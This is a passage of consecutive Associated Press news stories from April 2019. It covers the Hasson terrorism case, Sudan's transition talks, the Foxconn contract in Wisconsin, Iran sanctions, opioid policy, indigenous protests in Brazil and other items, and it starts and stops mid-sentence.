wrote. In November 2017, according to the prosecutor, Hasson searched for "please god let there be a race war." And the defendant did an internet search for guns with a search term that used a racial slur for blacks in March 2018 before visiting firearm sales websites. Prosecutors have said Hasson appeared to be planning attacks inspired by the manifesto of Anders Behring Breivik, the Norwegian right-wing extremist who killed 77 people in a 2011 bomb-and-shooting rampage. Windom said "it cannot go unnoticed" that the terrorist who perpetrated the deadly New Zealand mosque attacks in March also was a "devotee" of Breivik. In 2017, Hasson sent himself a draft letter he had written to a neo-Nazi leader and "identified himself as a White Nationalist for over 30 years and advocated for 'focused violence' in order to establish a white homeland," prosecutors said. That letter also refers to "Missouri," a person with whom Hasson has a "long history," Windom wrote. In 1995, according to federal prosecutors, Hasson and "Missouri" went to a home in Hampton, Virginia, where the homeowner arrived by car and asked them why they were there. The victim identified Hasson and Missouri as "skinheads." "Missouri," wearing a black jacket with Swastika patches, aimed a handgun at the victim's face and pulled the trigger, according to a police report cited by prosecutors. When the gun didn't fire, "Missouri" beat the victim with it. "Chris Hasson was standing there with the suspect when this occurred," Windom wrote. Investigators found 15 guns, including seven rifles, and over 1,000 rounds of ammunition at Hasson's basement apartment in Silver Spring, Maryland, prosecutors said. Hasson's Feb. 27 indictment also accuses him of illegal possession of tramadol, an opioid painkiller. Prosecutors claim Hasson drew up what appeared to be a computer-spreadsheet hit list that included House Speaker Nancy Pelosi, Senate Democratic Leader Chuck Schumer and presidential hopefuls Sens. Kirsten Gillibrand, Elizabeth Warren, Cory Booker and Kamala Harris. Several network TV journalists - MSNBC's Chris Hayes and Joe Scarborough and CNN's Chris Cuomo and Van Jones - also were mentioned. During the February detention hearing, U.S. Magistrate Judge Charles Day agreed to keep Hasson held in custody but said he was willing to revisit his decision if prosecutors didn't bring more serious charges within two weeks. Hasson pleaded not guilty last month to charges of illegal possession of firearm silencers, possession of firearms by a drug addict and unlawful user, and possession of a controlled substance. He faces a maximum of 31 years in prison if convicted of all four counts in his indictment. "The silencers serve one purpose: to murder quietly. The defendant intended to do so on a mass scale, and his detention has thwarted his unlawful desire," Windom wrote. Hasson, a former Marine, worked at Coast Guard headquarters in Washington on a program to acquire advanced new cutters for the agency. A Coast Guard spokesman has said Hasson will remain on active duty until the case against him is resolved. KHARTOUM, Sudan (AP) - Sudan's ruling military council said three of its members resigned Wednesday amid heightened tensions with the organizers of protests that toppled President Omar al-Bashir after three decades in power. The announcement came after generals met with leaders of an opposition group that had suspended talks over the weekend while accusing the military of failing to make a clean break with al-Bashir's regime. The Sudanese Professionals Association and its allies, which organized the four months of escalating demonstrations that led the military to remove al-Bashir from power April 11, returned to the talks a day before planned mass rallies. The association had said before the meeting that it would announce its own transitional governing council Thursday, but it was unclear if that plan had changed. A spokesman for the group, Sarah Abdel-Jaleel, said she could not provide details on what was discussed at the meeting. A military spokesman, Lt. Gen. Shamseldin Kibashi, said after the meeting that Lt. Gen. Omar Zain al-Abdin, the council's chief negotiator, and two officers on a council-affiliated political committee, submitted their resignations. He identified the other two as Lt. Gen. Jalal el-Din el-Sheikh, deputy head of the infamous National Intelligence and Security Services, and Gen. el-Tayeb Babiker, the county's police chief. The Sudanese Professionals Association had said that Zain al-Abdin was the head of al-Bashir's party within the military and was "trying to bring back the deposed regime." In this Tuesday, April 23, 2019, photo, Sudanese protesters crowd a train in the capital Khartoum. Sudanese activists were holding nationwide protests on Tuesday to press the military to hand over power to a civilian authority after the overthrow of President Omar al-Bashir earlier this month.(AP Photo) The spokesman said the military council agreed with the protest leaders to create a joint committee to tackle the political disputes. The military council has said it is in talks with all Sudan's political parties to name a prime minister and civilian government to run the country for two years. The Sudanese Professionals Association has instead called for the formation of a legislative council in which at least 40 percent of the members would be women. It would draft laws and oversee a Cabinet of technocrats until a new constitution is written. ___ Associated Press writer Fay Abuelgasim reported this story in Khartoum and AP writer Samy Magdy reported from Cairo. In this Tuesday, April 23, 2019, photo, Sudanese women protesters chant slogans the capital Khartoum. Sudanese activists were holding nationwide protests on Tuesday to press the military to hand over power to a civilian authority after the overthrow of President Omar al-Bashir earlier this month.(AP Photo) In this Tuesday, April 23, 2019, photo, Sudanese protesters crowd a train in the capital Khartoum. Sudanese activists were holding nationwide protests on Tuesday to press the military to hand over power to a civilian authority after the overthrow of President Omar al-Bashir earlier this month.(AP Photo) In this Tuesday, April 23, 2019, photo, soldiers gesture to Sudanese protesters in the capital Khartoum. Sudanese activists were holding nationwide protests on Tuesday to press the military to hand over power to a civilian authority after the overthrow of President Omar al-Bashir earlier this month.(AP Photo) In this Tuesday, April 23, 2019, photo, Sudanese protesters crowd a train in the capital Khartoum. Sudanese activists were holding nationwide protests on Tuesday to press the military to hand over power to a civilian authority after the overthrow of President Omar al-Bashir earlier this month.(AP Photo) In this Tuesday, April 23, 2019, photo, Sudanese protesters rally in the capital Khartoum. Sudanese activists were holding nationwide protests on Tuesday to press the military to hand over power to a civilian authority after the overthrow of President Omar al-Bashir earlier this month.(AP Photo) Sudanese civil society activist Omar el-Digeir, left, one of the leaders from the protest movement, gives a press conference in the capital Khartoum on Wednesday, April 24, 2019. Sudanese activists were holding nationwide protests on Tuesday to press the military to hand over power to a civilian authority after the overthrow of President Omar al-Bashir earlier this month.(AP Photo) Sudanese civil society activist Omar el-Digeir, one of the leaders from the protest movement, gives a press conference in the capital Khartoum on Wednesday, April 24, 2019. Sudanese activists were holding nationwide protests on Tuesday to press the military to hand over power to a civilian authority after the overthrow of President Omar al-Bashir earlier this month.(AP Photo) MADISON, Wis. (AP) - Foxconn Technology Group has not detailed what changes it wants to see in its contract with Wisconsin for a project that could employ up to 13,000 people, Gov. Tony Evers said in an interview Wednesday. Foxconn insists it remains committed to a $10 billion project, while saying it is also looking for "flexibility" in the deal struck with much fanfare in 2017 and heralded by President Donald Trump as the "eighth wonder of the world." Evers told The Associated Press that no decisions have been on what could be changed in the contract. "It's just that they have asked that we take a look at the contract and we're going to do that," he said. Evers, a Democrat, disagrees with Republican legislative leaders over the extent to which the company wants to renegotiate its contract with the state for a project that could net Foxconn more than $4 billion in tax credits. Evers campaigned as a skeptic of the project against then-Gov. Scott Walker, who made the deal. Evers said last week that the current deal is "no longer in play" because Foxconn is building a smaller display screen factory than the one envisioned in the contract. Evers also said he doesn't think Foxconn will employ 13,000 people, which necessitates changes. "Clearly they're going to be producing something different than what they originally proposed," Evers said in the interview. "And as a result of that there have been discussions about how that impacts the deal, the contract." He wouldn't talk about what might be altered, but he and other critics have said the level of credits for Foxconn are too high. Foxconn did not hire enough people last year to collect its credit for employees, leading some to speculate it may want to lower the employment benchmarks. "I'm not going to make any guesses as to what their negotiating strategy should be or what they should be asking for," Evers said. Foxconn, in a statement late Tuesday night, said the company "has never wavered from our commitment to our contract" and said the talks with Evers were more about creating flexibility within the current agreement. Performance-based state tax credits are the core of the contract. Foxconn earns jobs and capital investment tax credits for meeting benchmarks each year. It can earn $1.5 billion in tax credits if it hires 13,000 people making an average salary of $53,875. Foxconn would get an additional $1.35 billion in tax credits if it spends $9 billion on capital investments, primarily building construction and the purchasing of machinery and equipment. Evers also said that Foxconn executive Louis Woo met with Republican legislative leaders and told them of Foxconn's intention to suggest changes to the agreement. Republicans have been highly critical of how Evers has dealt with Foxconn, saying he is "undermining" the deal reached before he took office. Senate Majority Leader Scott Fitzgerald said there was "no discussion" during the meeting with Foxconn's Woo about opening the contract for renegotiation. And Assembly Speaker Robin Vos, whose district includes the project, said he's not interested in making "wholesale changes" to the contract. "If they come to us and want some minor tweaks, as long as the job goals and taxpayer protections remain, I'm open to listening to their ideas," Vos said Wednesday. Democratic state Sen. Jon Erpenbach said he thinks Evers is dealing more in reality on Foxconn than Republicans "because that was their baby." __ Follow Scott Bauer on Twitter: https://twitter.com/sbauerAP PRISTINA, Kosovo (AP) - Nearly 20 women repatriated from Syria were ordered put under house arrest after prosecutors said they are suspected of joining or taking part in the conflict there as foreign militants. The 19 women appeared in court in Pristina, a day after 10 other women were also put under house arrest. None have been charged with a crime. Four alleged fighters, all men, were arrested the moment they were brought to the country. On Saturday, 110 Kosovar citizens - the four alleged foreign fighters, 32 women and 74 children - were returned to Kosovo from eastern Syria with assistance from the United States, the first such move for a European country. Authorities say there are still 87 Kosovar citizens in Syria. At the time of their return, the justice minister said the women and children were "innocent victims," and the state had plans to rehabilitate them. The U.S-backed Syrian Democratic Forces militarily defeated Islamic State militants in their last territorial holdout in Syria last month, arresting hundreds of women and die-hard fighters in the last days. The SDF has also been detaining hundreds of foreign fighters from battles against IS and has appealed to their home countries to take them back. Kosovo became the first European country to do so. In violence in Syria, a mysterious explosion in the northwestern town of Jisr al-Shughur, controlled by insurgents, destroyed a building and damaged others, killing at least 16 people, according to the Syrian Observatory for Human Rights and first responders. The Observatory said the dead included four children. The explosion was so large that civil defense workers spent more than 10 hours pulling bodies and survivors from under the rubble of a totally collapsed building. The cause of the explosion was not immediately clear. But the Observatory and a civil defense worker who spoke on condition of anonymity because he was not authorized to speak to the media said they suspected a car full of explosives was behind the explosion. Jisr al-Shughur is controlled by some of the more radical groups still in control in parts of northwestern Syria, primarily the Turkistan Islamist Party, foreign fighters from the ethnic Uighur Muslim minority. Separately, in government-controlled Damascus, a bomb went off killing a civilian and wounding five others. The official SANA news agency said the bomb had been placed in a car in the Nahr Aysheh district in southern Damascus and killed the driver when it detonated. The agency said an investigation is underway. No group immediately claimed responsibility for the bombing. The Observatory said the target was an official with the state's intelligence agency. Bombings in the Syrian capital have been relatively rare in the past few years, particularly since President Bashar Assad's government last year secured areas around Damascus that had been held for years by rebels. The country's civil war is now in its ninth year. The conflict has killed more than 450,000 people and displaced millions of others. WASHINGTON (AP) - The Trump administration on Wednesday granted important exemptions to new sanctions on Iran's Revolutionary Guard, watering down the effects of the measures while also eliminating an aspect that would have complicated U.S. foreign policy efforts. Foreign governments and businesses that have dealings with the Revolutionary Guard and its affiliates will not be subject to a ban on U.S. travel under waivers outlined by Secretary of State Mike Pompeo in two notices published in the Federal Register. That weakens the effect of the measures and will frustrate members of Congress backing tough measures against Iran who are already concerned that the Trump administration won't fully enforce sanctions on Iranian oil. But it lifts the threat that those who work with the U.S. in Iraq and Lebanon, where the Guard's subsidiaries are active, will face the full weight of American penalties. The waivers leave intact sanctions that apply directly to Iran's Revolutionary Guard and its proxies, the first agencies of a foreign government that have ever been designated a foreign terrorist organization by the United States. The designation, which took effect April 15 , is part of a broader administration effort to increase pressure on Tehran. Iranian Foreign Minister Mohammad Javad Zarif, speaking Wednesday in New York, said the administration is creating dangerous conditions with its campaign against Tehran. "Iranians are allergic to pressure," he said, adding that he believes the conflict can be resolved diplomatically. Under U.S. immigration law, foreigners found to have provided designated foreign terrorist organizations with "material support" can be banned from the U.S. FILE - In this Feb. 11, 2019 file photo, Iranian Revolutionary Guard members attend a ceremony celebrating the 40th anniversary of the Islamic Revolution, at the Azadi, or Freedom, Square in Tehran, Iran. The Trump administration on Wednesday granted important exemptions to new sanctions on Iran's Revolutionary Guard, watering down the effects of the measures while also eliminating an aspect that would have complicated U.S. foreign policy efforts. (AP Photo/Vahid Salemi) When it was announced earlier this month, the designation raised fears that U.S. diplomats and troops might have to end contacts with officials in countries that have ties with Iran or elements of the Guard, a paramilitary organization formed in the wake of Iran's 1979 Islamic Revolution to defend its clerically overseen government. Lebanon, where Iran and the Guard are active in their support of the militant Hezbollah movement, and Iraq, where they back Shiite militias and have close ties to the government, are two such countries where the U.S. is heavily engaged on military and diplomatic fronts. Pompeo said in the notices that he decided to waive the travel bans in U.S. foreign policy and national security interests. In one notice, he said the sanctions "shall not apply to any ministry, department, agency, division, or other group or subgroup within any foreign government" unless that entity is covered by existing U.S. sanctions. In the second notice, he said the sanctions won't apply "to any business, organization, or group, whether public or private, solely based on its provision of material support to any foreign government sub-entity that has been designated as a foreign terrorist organization." "At first glance, it looks like a wise carve-out," said Daniel Fried, a former sanctions coordinator for the State Department who is now with The Atlantic Council. "One of the rules of sanctions is that you need to account for unintended consequences and have wide licensing and waiver authority. Otherwise, if there are unintended consequences you find yourself unable to act." The notices were published two days after the administration announced that it would not renew sanctions waivers for countries that import Iranian oil. Those waivers, which primarily affect five countries - China and India, Japan, South Korea and Turkey - expire on May 2. The announcement sparked a spike in world oil prices due to global supply concerns. In the days since, however, concerns have been raised by Iran hawks that the administration may not impose sanctions on countries continuing their imports. Under one scenario being considered by the administration, the countries could be allowed to place and pay for future orders of Iranian oil before May 2, essentially front-loading continued imports, according to officials, congressional aides and outside advisers familiar with the matter who spoke on the condition of anonymity to discuss internal deliberations. The administration could then grant waivers from sanctions to transport and refine the oil under a 2012 law. The State Department declined to comment on the possibility that Iranian oil imports might continue without sanctions. President Donald Trump has said the goal is to cut Iranian oil exports to zero to choke off the estimated $50 billion a year it provided before sanctions were reinstated in November following the U.S. withdrawal from the 2015 Iran nuclear deal. But officials in charge of Iran policy have not ruled out the possibility of allowing some importers additional time to wind down those purchases, drawing criticism from supporters of a "maximum pressure" campaign aimed at Tehran, which the U.S. says destabilizes the Middle East by supporting militant activity around the region. "I think maximum pressure should mean maximum pressure," Sen. Ted Cruz, R-Texas, told Pompeo earlier this month at a Senate Foreign Relations Committee hearing during which he implored the administration to adopt the strictest possible interpretation of the sanctions. Sen. Tom Cotton, R-Ark., concurred. "Going forward, the proper amount of oil exports from Iran is zero." Outside opponents of the 2015 Iran nuclear deal also say exports must be eliminated for the maximum pressure campaign to succeed. "There is no maximum pressure campaign without eliminating all Iranian oil exports. That must be the immediate objective," said Mark Dubowitz, the chief executive of the Foundation for Defense of Democracies, a critic of the deal. Secretary of State Mike Pompeo speaks during a news conference on Monday, April 22, 2019, at the Department of State in Washington. (AP Photo/Sait Serkan Gurbuz) ATLANTA (AP) - President Donald Trump pledged on Wednesday to battle the deadly epidemic of opioid drug abuse "until our job is done," and he claimed progress even though it is unclear whether the crisis has diminished. Trump spoke at an annual conference of health, law enforcement, elected and other officials who work to combat drug abuse and addiction, and used the appearance to advocate for the wall he wants to build on the U.S.-Mexico border, saying without evidence that it will help keep drugs out of the U.S. His wife, Melania, introduced him. "My administration is deploying every resource at our disposal to empower you, to support you and to fight right by your side," Trump said. "We will not solve this epidemic overnight but we will stop. ... There's just nothing going to stop us, no matter how you cut it." Before leaving the White House for the Atlanta event, Trump claimed credit for progress in combating the drug scourge. "It's a big problem. It's a big addiction and we're handling it," the president told reporters. He said doctors, laboratories, clinics and drug companies have assisted the administration. There have been signs of progress, including a drop in the number of prescriptions for opioid painkillers. However, opioid abuse claimed a record of nearly 48,000 American lives in 2017. An estimated 2 million people are addicted to the drugs, which include both legal prescription pain medications and illegal drugs such as heroin. President Donald Trump and first lady Melania Trump arrive to speak during the RX Drug Abuse & Heroin Summit, Wednesday, April 24, 2019 in Atlanta. (AP Photo/John Amis) While prescription opioids initially accounted for most deaths, the epidemic is now driven by illicit heroin and fentanyl. Those two drugs were implicated in the vast majority of opioid overdoses reported in 2017, according to federal figures. Keith Humphreys, a drug policy adviser to presidents from both political parties, said some states and communities are making headway, but not because of action by Trump. Humphreys said other states have regressed. Humphreys said Trump's declaration of opioids addiction as a public health emergency in 2017 failed to translate into significant concrete action. Members of Congress, he said, "figured out they were going to have to do it themselves - and they did." Trump said the administration has committed $6 billion to combat the crisis, set aside money to prevent youth substance abuse, and increased the distribution of the overdose-reversing drug naloxone. "Pretty amazing stuff," the president remarked. Efforts to curb opioid use are being undertaken by an array of government agencies. Trump said states are now allowed to use Medicaid dollars to pay for residential treatment facilities, expanding access to care. He said the Department of Veterans Affairs has greatly reduced the number of veterans being treated with opioids. Trump also discussed law enforcement efforts, including shutting down online criminal drug-selling networks and more aggressive efforts to seize illegal drugs and stop immigrants from entering the country without authorization. He said that almost 400 miles of wall will be in place along the border with Mexico by the end of 2020 and that it "will have a tremendous impact on drugs coming into our country." Trump's statement contradicts a 2018 report by the U.S. Drug Enforcement Administration that cites common drug smuggling methods that would not be choked off by a border wall; the most common trafficking technique is to hide the drugs in passenger vehicles or tractor-trailers as they drive into the U.S. at official crossings. The first lady spoke briefly about her visits to hospitals and treatment centers and her meetings with doctors and nurses as part of her own campaign to highlight the "terrible toll the opioid epidemic is having on children and young mothers." "My husband is here today because he cares deeply about what you're doing to help the millions of Americans affected by the opioid epidemic," she said. It's difficult to get a complete and authoritative accounting of how much the federal government is spending to fight opioid abuse since it occurs across many programs, including Medicaid, which doesn't require annual funding approval from Congress, and dozens of other programs that do. Public health experts say the amount probably is not enough. The wide-ranging opioids legislation that Trump signed last fall outlined many steps to improve care and access to treatment. For example, it allowed nurse practitioners to prescribe addiction treatment medication, boosted incentives for people to get training in addiction medicine and allowed Medicare to cover the use of methadone for opioid addiction. Humphreys, who worked with lawmakers on the measure, said the parties disagreed on the fundamental question of how much money to dedicate to the problem, so instead they cobbled together various small improvements they could agree on. "And that's all good," Humphreys said. "But it's not transformative." ___ Superville reported from Washington. AP Health Writer Matthew Perrone in Washington contributed to this report. ___ Follow Kevin Freking on Twitter: http://www.twitter.com/APkfreking President Donald Trump speaks during the RX Drug Abuse & Heroin Summit, Wednesday, April 24, 2019 in Atlanta. (AP Photo/John Amis) President Donald Trump, second from left, is applauded by law enforcement officers and Secretary of Health and Human Services Alex Azar, left, as he arrives to speak at the RX Drug Abuse & Heroin Summit, Wednesday, April 24, 2019 in Atlanta. (AP Photo/John Amis) WASHINGTON (AP) - The Latest on President Donald Trump and congressional investigations (all times local): 11:25 a.m. President Donald Trump says his White House will be "fighting all the subpoenas" issued by House Democrats in their investigations into his administration. Trump is criticizing those investigations and telling reporters at the White House that he "thought after two years we'd be finished with it." Democrats have stepped up their inquiries in the aftermath of special counsel Robert Mueller's investigation into Russian interference in the 2016 U.S. election. Trump says "it's enough" and that "we're fighting all the subpoenas." President Trump talks to reporters before leaving on Marine One on the South Lawn of the White House in Washington, Wednesday, April 24, 2019, for the short trip to Andrews Air Force Base in Maryland. President Trump and first lady Melania Trump will team up Wednesday to provide an update on the nation's opioid crisis during back-to-back speeches at conference in Atlanta. (AP Photo/Susan Walsh) One congressional subpoena the administration is expected to challenge has gone out to Don McGahn, former White House counsel who cooperated with Mueller. And the White House is pushing back on other fronts, including House Democratic efforts to obtain Trump's tax returns and his business' financial records. ___ 9 a.m. President Donald Trump says he'll go directly to the Supreme Court "if the partisan Dems" ever try to impeach him. But Trump's strategy could run into a roadblock. The high court said in 1993 that the framers of the Constitution didn't intend for the court to have the power to review impeachment proceedings. The justices ruled that impeachment and removal from office is Congress' duty alone. "I DID NOTHING WRONG," Trump tweeted. Trump says not only are there no "High Crimes and Misdemeanors," one of the bases for impeachment outlined in the Constitution, "there are no Crimes by me at all." BRASILIA, Brazil (AP) - More than 1,000 indigenous Brazilians gathered outside Congress on Wednesday for an annual three-day campout to protest what they see as rollbacks of indigenous rights under President Jair Bolsonaro. Tents dotted the congressional building's lawn, where indigenous leaders sang, danced and sold crafts while wearing traditional feathered headdresses with their faces painted red and black. The event, known as the Free Land Encampment, began its 15th edition with a sense of animosity toward Bolsonaro, a far-right politician whose policies are called by indigenous leaders the biggest setbacks to their peoples' rights in recent history. "This government came in immediately attacking us and our rights in a way we haven't seen before," said Paulo Tupiniquim, executive coordinator of the Articulation of Indigenous People of Brazil, which organized the event. "We resisted during the dictatorship," Sonia Guajajara, an indigenous leader and former vice presidential candidate, told reporters, referring to Brazil's 1964-1985 military dictatorship. "And today we are here to say that we will also resist fascism," she said of the new administration. "The Bolsonaro government represents a tragedy for our agenda." A young indigenous man applies body paint as he checks himself out in a mirror, during an annual three-day campout protest known as the Free Land Encampment, in Brasilia, Brazil, Wednesday, April 24, 2019. The event begins amid animosity between Brazil's indigenous groups and the new government of far-right President Jair Bolsonaro. (AP Photo/Eraldo Peres) The government has called in National Guard troops for security at the encampment as a "preventative measure." At the same event in 2017, police shot tear gas at the indigenous protesters who fired back with bows and arrows. "We are not violent. Violent are those who attack the sacred right to free demonstration with armed troops," the organizers wrote in a statement protesting the National Guard presence. "They're trying to take the right to come and go from Brazilians who have walked these lands since long before 1500," the statement read, referring to when European colonizers first came to Brazil. Before becoming president, Bolsonaro promised that if he was elected, "not one more centimeter" of land would be given to indigenous groups and likened indigenous people living in reserves to caged animals in zoos. "Why in Brazil do we keep them prisoner on reserves, as if they were animals in a zoo?" Bolsonaro questioned while speaking to reporters in November. "Indians are people just like us. They want what we want. We can't use Indians, who still live in an inferior situation than we do, to dedicate such an enormous amount of land." Guajajara said Bolsonaro was borrowing a page from the dictatorship. "Bolsonaro says he's concerned with improving the lives of the indigenous, but what he says is we need to integrate with society. That's the discourse of the dictatorship, where all the cultures had to be one thing," Guajajara told reporters at the protest. "We want to continue the way we are, with our own identity. We don't want the society that Bolsonaro wants to introduce us to," she said, adding that those present had to fight for the isolated tribes who remain with little to no contact with the outside world. On his first day as president, Bolsonaro transferred the authority to designate indigenous land and to grant environmental licenses for businesses on indigenous reserves from the government's indigenous affairs agency to the agriculture ministry. Activists say the move will practically paralyze land allocations and facilitate operations for agribusiness and mining. Bolsonaro's health minister sparked protests across the country last month when he proposed eliminating the federal indigenous health care program and putting indigenous health care needs in the hands of municipalities. Indigenous groups say the current program is designed to attend to their specific needs in indigenous languages. "The government is completely anti-indigenous," Joenia Wapichana, an indigenous congresswoman, told The Associated Press at the protest. "The government is not open to us. He is open to those who defend mining and land grabbing, which is his intention." During the encampment, participants plan to protest outside the Supreme Court over the power transfers at the indigenous affairs agency, speak at a congressional hearing and define a unified indigenous agenda. The protests will end with group march on Congress on Friday. ___ Associated Press video journalist Mia Alberti contributed to this report. Xucuru indigenous people perform a traditional dance during the annual, three-day campout protest known as The Free Land Encampment, to protest what they see as rollbacks of indigenous rights under President Jair Bolsonaro, in Brasilia, Brazil, Wednesday, April 24, 2019. Before becoming president, Bolsonaro promised that if he were elected, "not one more centimeter" of land would be given to indigenous groups and likened indigenous people living in reserves to caged animals in zoos. (AP Photo/Eraldo Peres) A Pataxo indegenous man notches his arrow, backdropped by the National Congress, during an annual three-day campout protest known as the Free Land Encampment, in Brasilia, Brazil, Wednesday, April 24, 2019. The event begins amid animosity between Brazil's indigenous groups and the new government of far-right President Jair Bolsonaro. (AP Photo/Eraldo Peres) Indigenous peoples rise at sunset during an annual three-day campout protest known as the Free Land Encampment, in Brasilia, Brazil, Wednesday, April 24, 2019. The event begins amid animosity between Brazil's indigenous groups and the new government of far-right President Jair Bolsonaro. (AP Photo/Eraldo Peres) A Gaviao indigenous man rises at sunrise during an annual three-day campout protest known as the Free Land Encampment, in Brasilia, Brazil, Wednesday, April 24, 2019. The event begins amid animosity between Brazil's indigenous groups and the new government of far-right President Jair Bolsonaro. (AP Photo/Eraldo Peres) A Gaviao indigenous man smokes his traditional pipe during an annual three-day campout protest known as the Free Land Encampment, in Brasilia, Brazil, Wednesday, April 24, 2019. The event begins amid animosity between Brazil's indigenous groups and the new government of far-right President Jair Bolsonaro. (AP Photo/Eraldo Peres) An indigenous mother applies body paint on her daughter during an annual three-day campout protest known as the Free Land Encampment, in Brasilia, Brazil, Wednesday, April 24, 2019. The event begins amid animosity between Brazil's indigenous groups and the new government of far-right President Jair Bolsonaro. (AP Photo/Eraldo Peres) Indigenous people take part in traditional dance during an annual three-day campout protest known as the Free Land Encampment, in Brasilia, Brazil, Wednesday, April 24, 2019. The event begins amid animosity between Brazil's indigenous groups and the new government of far-right President Jair Bolsonaro. (AP Photo/Eraldo Peres) WEST MEMPHIS, Ark. (AP) - An east Arkansas animal shelter has rescued dozens of turtles from a wastewater treatment facility after they became trapped in sewage pond filters. Wesley Burt with the West Memphis Animal Shelter says the treatment plant notified the shelter last Wednesday and by the end of next day, about 75 turtles had been rescued. According to the Arkansas Democrat-Gazette , the reptiles - mostly box turtles with one snapping turtle - were eventually released at the banks of the Mississippi River. Paul Holloway, superintendent of wastewater for West Memphis, which is about 120 miles (193 kilometers) east of Little Rock, says the turtles became trapped when the sewage ponds are pumped to prevent overflowing after heavy rains. Animal shelter employees are now checking the pond for turtles daily, and the facility has said they'll let the shelter know when they plan to activate the pumps. NEW YORK (AP) - Prosecutors say a college philosophy teacher accused of taking gas cans and lighters into Manhattan's St. Patrick's Cathedral last week had also booked a hotel near the Vatican but the attorney for the man says it was all part of a psychotic episode. Details about Marc Lamparello's case emerged during a brief court appearance Wednesday conducted via video hookup from his hospital bed. A judge ordered Lamparello to undergo a psychological evaluation before his next court date in May on attempted arson and reckless endangerment charges. Lamparello's attorney Christopher DiLorenzo told The Associated Press "it is clear that Mr. Lamparello suffered from a psychotic episode, and the events leading up to and including the event at St. Patrick's Cathedral support this conclusion." Assistant District Attorney David Stuart said during the hearing that the 37-year-old Lamparello was "planning to burn down St. Patrick's Cathedral," and that he spent "considerable time planning and surveilling" the church. Police previously said Lamparello had booked a flight to Rome for the day after his arrest. Stuart said Wednesday that Lamparello had booked a hotel just 20 minutes from the Vatican, but he made no further remarks about Lamparello's intentions. DiLorenzo said he has seen no evidence that his client was planning something sinister overseas. Marc Lamparello, 37, center, is escorted out of a police precinct in New York, Thursday, April 18, 2019. Police say Lamparello was arrested after entering St. Patrick's Cathedral last week in New York with two cans of gasoline, lighter fluid and butane lighters. Lamparello made his initial court appearance from a hospital. The judge ordered him to undergo a psychiatric evaluation. (AP Photo/Seth Wenig) Lamparello told police his vehicle had run out of gas and that he was "taking a short cut through the church," according to a charging document made public Wednesday. The document says Lamparello was stopped by a church employee upon entering the cathedral. The employee told police that he saw gasoline spill out of one of the canisters Lamparello was holding. The New York incident happened just days after flames ravaged the Notre Dame Cathedral in Paris, a blaze investigators believe was most likely caused by an electrical short circuit. Police in Newark, New Jersey, arrested Lamparello two nights before the St. Patrick's incident after he allegedly refused to leave the Cathedral Basilica of the Sacred Heart at closing time after a late Mass. Stuart indicated that prosecutors will seek to have Lamparello, who has taught at Lehman College in New York City and Seton Hall University in New Jersey, held on $500,000 bond pending trial. If convicted, he could get up to 15 years in prison. NEW YORK (AP) - Iran's top diplomat said Wednesday President Donald Trump's aim "is to bring us to our knees to talk" - but national security adviser John Bolton and key U.S. allies in the Mideast want "regime change at the very least" and the "disintegration of Iran." Foreign Minister Mohammad Javad Zarif said he doubts Trump wants conflict because the president ran on a campaign promise "not to waste another $7 trillion in our region in order to make the situation only worse." But Zarif said what he called "the B team" - Bolton, Israeli Prime Minister Benjamin Netanyahu, Saudi Arabia's Crown Prince Mohammed bin Salman and Abu Dhabi Crown Prince Mohammed bin Zayed - is trying "to push Iran to take action" as a pretext for "crazy" and "adventurous" U.S. actions. "President Trump has a plan, but he's being lured into not a plan but a trap," Zarif warned in a question-and-answer session at the Asia Society. "It will cost another $7 trillion and even a greater disaster." Zarif said "it's not a crisis yet, but it's a dangerous situation," adding that "accidents, plotted accidents are possible." The Trump administration re-imposed sanctions on Iran, including on its energy sector, last November, after pulling America out of the landmark 2015 nuclear deal between Iran and six world powers. Iran's Foreign Minister Mohammad Javad Zarif speaks at the Asia Society in New York, Wednesday, April 24, 2019. (AP Photo/Richard Drew) The U.S. designation of Iran's Revolutionary Guard as a terrorist group earlier this month - the first ever for an entire division of another government - added another layer of sanctions to the powerful paramilitary force, making it a crime under U.S. jurisdiction to provide the guard with material support. On Monday, Trump announced the U.S. will no longer exempt any countries from U.S. sanctions if they continue to buy Iranian oil, a decision that primarily affects the five remaining major importers: China and India and U.S. treaty allies Japan, South Korea, Turkey. The move is part of the administration's "maximum pressure" campaign on Iran that aims to eliminate all of its revenue from oil exports which the U.S. says funds destabilizing activity throughout the Mideast and beyond. Hours before Trump's announcement, Iran reiterated its long-running threat to close the Strait of Hormuz if it's prevented from using the crucial waterway in the Persian Gulf through which about a third of all oil traded at sea passes. The U.S. Navy has in the past accused Iranian patrol boats of harassing American warships in the waterway. "We believe that Iran will continue to sell its oil," Zarif said when asked about the waivers and keeping the Strait of Hormuz open. "We will continue to find buyers for our oil and we will continue to use the Straits of Hormuz as a safe transit passage for the sale of our oil. That is our intention and that is what we believe will happen," he said. "But if the United States takes the crazy measure of trying to prevent us from doing that, then it would be prepared for the consequences," Zarif said. What does "prevent" mean? "The B team wants the United States to take crazy measures. And it won't be the first time that the United States has taken adventurous measures," Zarif replied. The Iranian minister said he thinks Trump wants a deal "but I think he's doing the wrong thing" by maximizing pressure, stressing that "Iranians are allergic to pressure." Addressing Trump, he said: "Try the language of respect. ... It won't kill you, believe me." Zarif said he came back to the Foreign Ministry after resigning because "we diplomats never give up hope." "I don't think anybody would envy my position, particularly when I have to deal with the B team," he said, adding to laughter, "I wish it was the A team at least." "I have to do whatever I can to prevent conflict, to see if we can resolve conflict peacefully, diplomatically," Zarif said. "And I have a lot of hope." Zarif also commented on other world issues: - MULTILATERALISM vs UNILATERALISM: "The rest of the world is not very happy with unilateralist policies of the United States. ... We are part of the regional scenario. We are part of the global scenario." -REGIONAL RELATIONS: Iran has suggested a regional dialogue within the Persian Gulf that could even reach "a non-aggression pact if our neighbors are ready for a non-aggression pact with Iran. We are ready for a non-aggression pact including Saudi Arabia, including the United Arab Emirates. We have no problem." - IRAN'S FOREIGN RELATIONS: In the past 40 years, Iran has never had "such good relations" with Turkey and Pakistan. "We've never had such good relations with Azerbaijan, with Russia, with Iraq. Our relations with Afghanistan are excellent." - CHINA'S BELT AND ROAD INITIATIVE: "It's a strategic initiative for China and we consider that to be positive. They're investing a great deal in the region. They have a number of projects in Iran." It connects the Sea of Oman to Europe and is not only for economic development "but to fight terrorism." -THE ISLAMIC STATE EXTREMIST GROUP ALSO KNOWN AS ISIS: "ISIS has been airlifted from Iraq and Syria into Afghanistan. You see one example of it unfortunately in the barbaric attack on Easter Sunday in Sri Lanka. But unfortunately, the people of Afghanistan are seeing incident after incident, terrorist attack after terrorist attack by ISIS ... in order to create the sectarian war that ISIS has been looking for ... since 2002." - AFGHANISTAN: "Seriously wrong policies by the United States, wrong 